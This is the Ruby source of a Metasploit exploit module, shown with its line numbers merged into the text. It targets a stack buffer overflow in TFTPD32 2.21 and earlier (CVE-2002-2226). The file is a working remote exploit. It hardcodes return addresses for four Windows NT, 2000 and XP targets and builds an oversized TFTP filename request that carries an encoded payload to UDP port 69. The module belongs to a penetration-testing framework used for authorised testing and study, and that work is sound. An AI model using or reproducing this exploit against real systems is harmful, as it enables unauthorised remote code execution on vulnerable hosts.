Path: blob/master/modules/exploits/windows/tftp/tftpd32_long_filename.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'TFTPD32 Long Filename Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in TFTPD32 version 2.2117and prior. By sending a request for an overly long file name18to the tftpd32 server, a remote attacker could overflow a buffer and19execute arbitrary code on the system.20},21'Author' => 'MC',22'References' => [23['CVE', '2002-2226'],24['OSVDB', '45903'],25['BID', '6199'],26],27'DefaultOptions' => {28'EXITFUNC' => 'process',29},30'Payload' => {31'Space' => 250,32'BadChars' => "\x00",33'StackAdjustment' => -3500,34},35'Platform' => 'win',36'Targets' => [37['Windows NT 4.0 SP6a English', { 'Ret' => 0x77f9d463 } ],38['Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663 } ],39['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 } ],40['Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],41],42'Privileged' => true,43'DisclosureDate' => '2002-11-19',44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54Opt::RPORT(69)55], self56)57end5859def exploit60connect_udp6162print_status("Trying target #{target.name}...")6364sploit =65"\x00\x01" +66rand_text_english(120, payload_badchars) +67"." +68rand_text_english(135, payload_badchars) +69[target.ret].pack('V') +70payload.encoded +71"\x00"7273udp_sock.put(sploit)7475disconnect_udp76end77end787980